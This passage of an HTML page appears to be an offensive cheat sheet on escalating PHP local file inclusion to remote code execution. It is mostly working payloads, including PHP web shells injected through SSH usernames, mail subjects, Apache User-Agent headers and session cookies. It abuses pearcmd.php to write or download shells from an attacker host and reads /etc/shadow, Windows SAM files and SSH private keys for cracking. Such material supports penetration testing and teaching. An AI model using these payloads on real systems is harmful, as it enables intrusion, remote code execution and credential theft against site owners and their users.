<a id="__codelineno-29-7" name="__codelineno-29-7" href="#__codelineno-29-7"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">vsftpd</span><span class="p">.</span><span class="n">log</span>
|
|
<a id="__codelineno-29-8" name="__codelineno-29-8" href="#__codelineno-29-8"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">sshd</span><span class="p">.</span><span class="n">log</span>
|
|
<a id="__codelineno-29-9" name="__codelineno-29-9" href="#__codelineno-29-9"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">mail</span>
|
|
<a id="__codelineno-29-10" name="__codelineno-29-10" href="#__codelineno-29-10"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">httpd</span><span class="p">/</span><span class="n">error_log</span>
|
|
<a id="__codelineno-29-11" name="__codelineno-29-11" href="#__codelineno-29-11"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">usr</span><span class="p">/</span><span class="n">local</span><span class="p">/</span><span class="n">apache</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">error_log</span>
|
|
<a id="__codelineno-29-12" name="__codelineno-29-12" href="#__codelineno-29-12"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">usr</span><span class="p">/</span><span class="n">local</span><span class="p">/</span><span class="n">apache2</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">error_log</span>
|
|
</code></pre></div>
|
|
<h3 id="rce-via-ssh">RCE via SSH</h3>
|
|
<p>Try to ssh into the box with a PHP code as username <code><?php system($_GET["cmd"]);?></code>.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-30-1" name="__codelineno-30-1" href="#__codelineno-30-1"></a><span class="n">ssh</span> <span class="p"><</span><span class="k">?</span><span class="n">php</span> <span class="n">system</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"cmd"</span><span class="p">]);?></span><span class="nv">@10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span>
|
|
</code></pre></div>
|
|
<p>Then include the SSH log files inside the Web Application.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-31-1" name="__codelineno-31-1" href="#__codelineno-31-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">auth</span><span class="p">.</span><span class="n">log</span><span class="p">&</span><span class="n">cmd</span><span class="p">=</span><span class="n">id</span>
|
|
</code></pre></div>
|
|
<h3 id="rce-via-mail">RCE via Mail</h3>
|
|
<p>First send an email using the open SMTP then include the log file located at <code>http://example.com/index.php?page=/var/log/mail</code>.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-32-1" name="__codelineno-32-1" href="#__codelineno-32-1"></a><span class="n">root</span><span class="nv">@kali</span><span class="p">:~</span><span class="c"># telnet 10.10.10.10. 25</span>
|
|
<a id="__codelineno-32-2" name="__codelineno-32-2" href="#__codelineno-32-2"></a><span class="n">Trying</span> <span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">....</span>
|
|
<a id="__codelineno-32-3" name="__codelineno-32-3" href="#__codelineno-32-3"></a><span class="n">Connected</span> <span class="n">to</span> <span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">..</span>
|
|
<a id="__codelineno-32-4" name="__codelineno-32-4" href="#__codelineno-32-4"></a><span class="n">Escape</span> <span class="n">character</span> <span class="n">is</span> <span class="s1">'^]'</span><span class="p">.</span>
|
|
<a id="__codelineno-32-5" name="__codelineno-32-5" href="#__codelineno-32-5"></a><span class="n">220</span> <span class="n">straylight</span> <span class="n">ESMTP</span> <span class="n">Postfix</span> <span class="p">(</span><span class="n">Debian</span><span class="p">/</span><span class="n">GNU</span><span class="p">)</span>
|
|
<a id="__codelineno-32-6" name="__codelineno-32-6" href="#__codelineno-32-6"></a><span class="n">helo</span> <span class="n">ok</span>
|
|
<a id="__codelineno-32-7" name="__codelineno-32-7" href="#__codelineno-32-7"></a><span class="n">250</span> <span class="n">straylight</span>
|
|
<a id="__codelineno-32-8" name="__codelineno-32-8" href="#__codelineno-32-8"></a><span class="n">mail</span> <span class="n">from</span><span class="p">:</span> <span class="n">mail</span><span class="nv">@example</span><span class="p">.</span><span class="n">com</span>
|
|
<a id="__codelineno-32-9" name="__codelineno-32-9" href="#__codelineno-32-9"></a><span class="n">250</span> <span class="n">2</span><span class="p">.</span><span class="n">1</span><span class="p">.</span><span class="n">0</span> <span class="n">Ok</span>
|
|
<a id="__codelineno-32-10" name="__codelineno-32-10" href="#__codelineno-32-10"></a><span class="n">rcpt</span> <span class="n">to</span><span class="p">:</span> <span class="n">root</span>
|
|
<a id="__codelineno-32-11" name="__codelineno-32-11" href="#__codelineno-32-11"></a><span class="n">250</span> <span class="n">2</span><span class="p">.</span><span class="n">1</span><span class="p">.</span><span class="n">5</span> <span class="n">Ok</span>
|
|
<a id="__codelineno-32-12" name="__codelineno-32-12" href="#__codelineno-32-12"></a><span class="n">data</span>
|
|
<a id="__codelineno-32-13" name="__codelineno-32-13" href="#__codelineno-32-13"></a><span class="n">354</span> <span class="k">End</span> <span class="n">data</span> <span class="n">with</span> <span class="p"><</span><span class="n">CR</span><span class="p">><</span><span class="n">LF</span><span class="p">>.<</span><span class="n">CR</span><span class="p">><</span><span class="n">LF</span><span class="p">></span>
|
|
<a id="__codelineno-32-14" name="__codelineno-32-14" href="#__codelineno-32-14"></a><span class="n">subject</span><span class="p">:</span> <span class="p"><</span><span class="k">?</span><span class="n">php</span> <span class="nb">echo </span><span class="n">system</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"cmd"</span><span class="p">]);</span> <span class="p">?></span>
|
|
<a id="__codelineno-32-15" name="__codelineno-32-15" href="#__codelineno-32-15"></a><span class="n">data2</span>
|
|
<a id="__codelineno-32-16" name="__codelineno-32-16" href="#__codelineno-32-16"></a><span class="p">.</span>
|
|
</code></pre></div>
|
|
<p>In some cases you can also send the email with the <code>mail</code> command line.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-33-1" name="__codelineno-33-1" href="#__codelineno-33-1"></a><span class="n">mail</span> <span class="n">-s</span> <span class="s2">"<?php system($_GET['cmd']);?>"</span> <span class="n">www-data</span><span class="nv">@10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span> <span class="p"><</span> <span class="p">/</span><span class="n">dev</span><span class="p">/</span><span class="n">null</span>
|
|
</code></pre></div>
|
|
<h3 id="rce-via-apache-logs">RCE via Apache logs</h3>
|
|
<p>Poison the User-Agent in access logs:</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-34-1" name="__codelineno-34-1" href="#__codelineno-34-1"></a>$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
|
|
</code></pre></div>
|
|
<p>Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.</p>
|
|
<p>Then request the logs via the LFI and execute your command.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-35-1" name="__codelineno-35-1" href="#__codelineno-35-1"></a>$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
|
|
</code></pre></div>
|
|
<h2 id="lfi-to-rce-via-php-sessions">LFI to RCE via PHP sessions</h2>
|
|
<p>Check if the website use PHP Session (PHPSESSID)</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-36-1" name="__codelineno-36-1" href="#__codelineno-36-1"></a><span class="nb">Set</span><span class="o">-</span><span class="nx">Cookie</span><span class="o">:</span><span class="w"> </span><span class="nx">PHPSESSID</span><span class="o">=</span><span class="nx">i56kgbsq9rm8ndg3qbarhsbm27</span><span class="p">;</span><span class="w"> </span><span class="nx">path</span><span class="o">=</span><span class="err">/</span>
|
|
<a id="__codelineno-36-2" name="__codelineno-36-2" href="#__codelineno-36-2"></a><span class="nb">Set</span><span class="o">-</span><span class="nx">Cookie</span><span class="o">:</span><span class="w"> </span><span class="nx">user</span><span class="o">=</span><span class="nx">admin</span><span class="p">;</span><span class="w"> </span><span class="nx">expires</span><span class="o">=</span><span class="nx">Mon</span><span class="p">,</span><span class="w"> </span><span class="mf">13</span><span class="o">-</span><span class="nx">Aug</span><span class="o">-</span><span class="mf">2018</span><span class="w"> </span><span class="mf">20</span><span class="o">:</span><span class="mf">21</span><span class="o">:</span><span class="mf">29</span><span class="w"> </span><span class="nx">GMT</span><span class="p">;</span><span class="w"> </span><span class="nx">path</span><span class="o">=</span><span class="err">/; httponly</span>
|
|
</code></pre></div>
|
|
<p>In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/sessions/sess_[PHPSESSID] files</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-37-1" name="__codelineno-37-1" href="#__codelineno-37-1"></a><span class="err">/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.</span>
|
|
<a id="__codelineno-37-2" name="__codelineno-37-2" href="#__codelineno-37-2"></a><span class="nx">user_ip</span><span class="o">|</span><span class="nx">s</span><span class="o">:</span><span class="mf">0</span><span class="o">:</span><span class="s2">""</span><span class="p">;</span><span class="nx">loggedin</span><span class="o">|</span><span class="nx">s</span><span class="o">:</span><span class="mf">0</span><span class="o">:</span><span class="s2">""</span><span class="p">;</span><span class="nx">lang</span><span class="o">|</span><span class="nx">s</span><span class="o">:</span><span class="mf">9</span><span class="o">:</span><span class="s2">"en_us.php"</span><span class="p">;</span><span class="nx">win_lin</span><span class="o">|</span><span class="nx">s</span><span class="o">:</span><span class="mf">0</span><span class="o">:</span><span class="s2">""</span><span class="p">;</span><span class="nx">user</span><span class="o">|</span><span class="nx">s</span><span class="o">:</span><span class="mf">6</span><span class="o">:</span><span class="s2">"admin"</span><span class="p">;</span><span class="nx">pass</span><span class="o">|</span><span class="nx">s</span><span class="o">:</span><span class="mf">6</span><span class="o">:</span><span class="s2">"admin"</span><span class="p">;</span>
|
|
</code></pre></div>
|
|
<p>Set the cookie to <code><?php system('cat /etc/passwd');?></code></p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-38-1" name="__codelineno-38-1" href="#__codelineno-38-1"></a><span class="n">login</span><span class="p">=</span><span class="n">1</span><span class="p">&</span><span class="n">user</span><span class="p">=<</span><span class="k">?</span><span class="n">php</span> <span class="n">system</span><span class="p">(</span><span class="s2">"cat /etc/passwd"</span><span class="p">);?>&</span><span class="n">pass</span><span class="p">=</span><span class="n">password</span><span class="p">&</span><span class="n">lang</span><span class="p">=</span><span class="n">en_us</span><span class="p">.</span><span class="n">php</span>
|
|
</code></pre></div>
|
|
<p>Use the LFI to include the PHP session file</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-39-1" name="__codelineno-39-1" href="#__codelineno-39-1"></a><span class="n">login</span><span class="p">=</span><span class="n">1</span><span class="p">&</span><span class="n">user</span><span class="p">=</span><span class="n">admin</span><span class="p">&</span><span class="n">pass</span><span class="p">=</span><span class="n">password</span><span class="p">&</span><span class="n">lang</span><span class="p">=/../../../../../../../../../</span><span class="n">var</span><span class="p">/</span><span class="n">lib</span><span class="p">/</span><span class="n">php5</span><span class="p">/</span><span class="n">sess_i56kgbsq9rm8ndg3qbarhsbm27</span>
|
|
</code></pre></div>
|
|
<h2 id="lfi-to-rce-via-php-pearcmd">LFI to RCE via PHP PEARCMD</h2>
|
|
<p>PEAR is a framework and distribution system for reusable PHP components. By default <code>pearcmd.php</code> is installed in every Docker PHP image from <a href="https://hub.docker.com/_/php">hub.docker.com</a> in <code>/usr/local/lib/php/pearcmd.php</code>. </p>
|
|
<p>The file <code>pearcmd.php</code> uses <code>$_SERVER['argv']</code> to get its arguments. The directive <code>register_argc_argv</code> must be set to <code>On</code> in PHP configuration (<code>php.ini</code>) for this attack to work.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-40-1" name="__codelineno-40-1" href="#__codelineno-40-1"></a><span class="na">register_argc_argv</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">On</span>
|
|
</code></pre></div>
|
|
<p>There are this ways to exploit it.</p>
|
|
<ul>
|
|
<li>Method 1: config create
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-41-1" name="__codelineno-41-1" href="#__codelineno-41-1"></a><span class="p">/</span><span class="n">vuln</span><span class="p">.</span><span class="n">php</span><span class="p">?+</span><span class="n">config-create</span><span class="p">+/&</span><span class="n">file</span><span class="p">=/</span><span class="n">usr</span><span class="p">/</span><span class="n">local</span><span class="p">/</span><span class="n">lib</span><span class="p">/</span><span class="n">php</span><span class="p">/</span><span class="n">pearcmd</span><span class="p">.</span><span class="n">php</span><span class="p">&/<?=</span><span class="n">eval</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">])?>+/</span><span class="n">tmp</span><span class="p">/</span><span class="n">exec</span><span class="p">.</span><span class="n">php</span>
|
|
<a id="__codelineno-41-2" name="__codelineno-41-2" href="#__codelineno-41-2"></a><span class="p">/</span><span class="n">vuln</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">file</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">exec</span><span class="p">.</span><span class="n">php</span><span class="p">&</span><span class="n">cmd</span><span class="p">=</span><span class="n">phpinfo</span><span class="p">();</span><span class="n">die</span><span class="p">();</span>
|
|
</code></pre></div></li>
|
|
<li>
|
|
<p>Method 2: man_dir
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-42-1" name="__codelineno-42-1" href="#__codelineno-42-1"></a><span class="p">/</span><span class="n">vuln</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">file</span><span class="p">=/</span><span class="n">usr</span><span class="p">/</span><span class="n">local</span><span class="p">/</span><span class="n">lib</span><span class="p">/</span><span class="n">php</span><span class="p">/</span><span class="n">pearcmd</span><span class="p">.</span><span class="n">php</span><span class="p">&+</span><span class="n">-c</span><span class="p">+/</span><span class="n">tmp</span><span class="p">/</span><span class="n">exec</span><span class="p">.</span><span class="n">php</span><span class="p">+</span><span class="n">-d</span><span class="p">+</span><span class="n">man_dir</span><span class="p">=<</span><span class="k">?</span><span class="n">echo</span><span class="p">(</span><span class="n">system</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'c'</span><span class="p">]));?>+</span><span class="n">-s</span><span class="p">+</span>
|
|
<a id="__codelineno-42-2" name="__codelineno-42-2" href="#__codelineno-42-2"></a><span class="p">/</span><span class="n">vuln</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">file</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">exec</span><span class="p">.</span><span class="n">php</span><span class="p">&</span><span class="n">c</span><span class="p">=</span><span class="n">id</span>
|
|
</code></pre></div>
|
|
The created configuration file contains the webshell.
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-43-1" name="__codelineno-43-1" href="#__codelineno-43-1"></a><span class="x">#PEAR_Config 0.9</span>
|
|
<a id="__codelineno-43-2" name="__codelineno-43-2" href="#__codelineno-43-2"></a><span class="x">a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"</span><span class="cp"><?</span><span class="k">echo</span><span class="p">(</span><span class="nb">system</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'c'</span><span class="p">]));</span><span class="cp">?></span><span class="x">";}</span>
|
|
</code></pre></div></p>
|
|
</li>
|
|
<li>
|
|
<p>Method 3: download</p>
|
|
</li>
|
|
</ul>
|
|
<p>Need external network connection.
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-44-1" name="__codelineno-44-1" href="#__codelineno-44-1"></a><span class="p">/</span><span class="n">vuln</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">file</span><span class="p">=/</span><span class="n">usr</span><span class="p">/</span><span class="n">local</span><span class="p">/</span><span class="n">lib</span><span class="p">/</span><span class="n">php</span><span class="p">/</span><span class="n">pearcmd</span><span class="p">.</span><span class="n">php</span><span class="p">&+</span><span class="n">download</span><span class="p">+</span><span class="n">http</span><span class="p">://<</span><span class="n">ip</span><span class="p">>:<</span><span class="n">port</span><span class="p">>/</span><span class="n">exec</span><span class="p">.</span><span class="n">php</span>
|
|
<a id="__codelineno-44-2" name="__codelineno-44-2" href="#__codelineno-44-2"></a><span class="p">/</span><span class="n">vuln</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">file</span><span class="p">=</span><span class="n">exec</span><span class="p">.</span><span class="n">php</span><span class="p">&</span><span class="n">c</span><span class="p">=</span><span class="n">id</span>
|
|
</code></pre></div>
|
|
* Method 4: install</p>
|
|
<p>Need external network connection.</p>
|
|
<p>Notice that <code>exec.php</code> locates at <code>/tmp/pear/download/exec.php</code>.
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-45-1" name="__codelineno-45-1" href="#__codelineno-45-1"></a><span class="p">/</span><span class="n">vuln</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">file</span><span class="p">=/</span><span class="n">usr</span><span class="p">/</span><span class="n">local</span><span class="p">/</span><span class="n">lib</span><span class="p">/</span><span class="n">php</span><span class="p">/</span><span class="n">pearcmd</span><span class="p">.</span><span class="n">php</span><span class="p">&+</span><span class="n">install</span><span class="p">+</span><span class="n">http</span><span class="p">://<</span><span class="n">ip</span><span class="p">>:<</span><span class="n">port</span><span class="p">>/</span><span class="n">exec</span><span class="p">.</span><span class="n">php</span>
|
|
<a id="__codelineno-45-2" name="__codelineno-45-2" href="#__codelineno-45-2"></a><span class="p">/</span><span class="n">vuln</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">file</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">pear</span><span class="p">/</span><span class="n">download</span><span class="p">/</span><span class="n">exec</span><span class="p">.</span><span class="n">php</span><span class="p">&</span><span class="n">c</span><span class="p">=</span><span class="n">id</span>
|
|
</code></pre></div></p>
|
|
<h2 id="lfi-to-rce-via-credentials-files">LFI to RCE via credentials files</h2>
|
|
<p>This method require high privileges inside the application in order to read the sensitive files.</p>
|
|
<h3 id="windows-version">Windows version</h3>
|
|
<p>First extract <code>sam</code> and <code>system</code> files.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-46-1" name="__codelineno-46-1" href="#__codelineno-46-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=../../../../../../</span><span class="n">WINDOWS</span><span class="p">/</span><span class="n">repair</span><span class="p">/</span><span class="n">sam</span>
|
|
<a id="__codelineno-46-2" name="__codelineno-46-2" href="#__codelineno-46-2"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=../../../../../../</span><span class="n">WINDOWS</span><span class="p">/</span><span class="n">repair</span><span class="p">/</span><span class="n">system</span>
|
|
</code></pre></div>
|
|
<p>Then extract hashes from these files <code>samdump2 SYSTEM SAM > hashes.txt</code>, and crack them with <code>hashcat/john</code> or replay them using the Pass The Hash technique.</p>
|
|
<h3 id="linux-version">Linux version</h3>
|
|
<p>First extract <code>/etc/shadow</code> files.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-47-1" name="__codelineno-47-1" href="#__codelineno-47-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=../../../../../../</span><span class="n">etc</span><span class="p">/</span><span class="n">shadow</span>
|
|
</code></pre></div>
|
|
<p>Then crack the hashes inside in order to login via SSH on the machine.</p>
|
|
<p>Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa.
|
|
If SSH is active check which user is being used <code>/proc/self/status</code> and <code>/etc/passwd</code> and try to access <code>/<HOME>/.ssh/id_rsa</code>.</p>
|
|
<h2 id="references">References</h2>
|
|
<ul>
|
|
<li><a href="https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion">OWASP LFI</a></li>
|
|
<li><a href="https://highon.coffee/blog/lfi-cheat-sheet/">HighOn.coffee LFI Cheat</a></li>
|
|
<li><a href="https://l.avala.mp/?p=241">Turning LFI to RFI</a></li>
|
|
<li><a href="http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html">Is PHP vulnerable and under what conditions?</a></li>
|
|
<li><a href="https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/">Upgrade from LFI to RCE via PHP Sessions</a></li>
|
|
<li><a href="http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html">Local file inclusion tricks</a></li>
|
|
<li><a href="https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a">CVV #1: Local File Inclusion - SI9INT</a></li>
|
|
<li><a href="https://web.archive.org/web/20200919055801/http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html">Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos</a></li>
|
|
<li><a href="https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017">Baby^H Master PHP 2017 by @orangetw</a></li>
|
|
<li><a href="https://web.archive.org/web/20200809082021/https://rdot.org/forum/showthread.php?t=4379">Чтение файлов => unserialize !</a></li>
|
|
<li><a href="https://blog.ripstech.com/2018/new-php-exploitation-technique/">New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse</a></li>
|
|
<li><a href="https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf">It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas</a></li>
|
|
<li><a href="https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a">CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018</a></li>
|
|
<li><a href="http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1">Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction</a></li>
|
|
<li><a href="https://bierbaumer.net/security/php-lfi-with-nginx-assistance/">PHP LFI with Nginx Assistance</a></li>
|
|
<li><a href="https://gynvael.coldwind.pl/?id=376">PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - gynvael.coldwind - 2011-03-18</a></li>
|
|
<li><a href="https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters">LFI2RCE via PHP Filters - HackTricks</a></li>
|
|
<li><a href="https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d">Solving "includer's revenge" from hxp ctf 2021 without controlling any files - @loknop</a></li>
|
|
<li><a href="https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html">PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - 18/10/2022</a></li>
|
|
<li><a href="https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html">PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE - Rémi Matasse - 21/03/2023</a></li>
|
|
<li><a href="https://hackmd.io/@ginoah/phpInclude#/">One Line PHP: From Genesis to Ragnarök - Ginoah, Bookgin</a></li>
|
|
<li><a href="https://www.ambionics.io/blog/wrapwrap-php-filters-suffix">Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - 11 December, 2023</a></li>
|
|
</ul>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<aside class="md-source-file">
|
|
|
|
|
|
<span class="md-source-file__fact">
|
|
<span class="md-icon" title="Last update">
|
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1-2.1-2M12.5 7v5.2l4 2.4-1 1L11 13V7h1.5M11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2v1.8Z"/></svg>
|
|
</span>
|
|
<span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 21, 2023</span>
|
|
</span>
|
|
|
|
|
|
|
|
|
|
|
|
</aside>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
</article>
|
|
</div>
|
|
|
|
|
|
<script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script>
|
|
</div>
|
|
|
|
<button type="button" class="md-top md-icon" data-md-component="top" hidden>
|
|
|
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M13 20h-2V8l-5.5 5.5-1.42-1.42L12 4.16l7.92 7.92-1.42 1.42L13 8v12Z"/></svg>
|
|
Back to top
|
|
</button>
|
|
|
|
</main>
|
|
|
|
<footer class="md-footer">
|
|
|
|
<div class="md-footer-meta md-typeset">
|
|
<div class="md-footer-meta__inner md-grid">
|
|
<div class="md-copyright">
|
|
|
|
|
|
Made with
|
|
<a href="https://squidfunk.github.io/mkdocs-material/" target="_blank" rel="noopener">
|
|
Material for MkDocs
|
|
</a>
|
|
|
|
</div>
|
|
|
|
</div>
|
|
</div>
|
|
</footer>
|
|
|
|
</div>
|
|
<div class="md-dialog" data-md-component="dialog">
|
|
<div class="md-dialog__inner md-typeset"></div>
|
|
</div>
|
|
|
|
|
|
<script id="__config" type="application/json">{"base": "..", "features": ["content.code.copy", "navigation.tracking", "navigation.top"], "search": "../assets/javascripts/workers/search.b8dbb3d2.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script>
|
|
|
|
|
|
<script src="../assets/javascripts/bundle.bd41221c.min.js"></script>
|
|
|
|
|
|
</body>
|
|
</html> |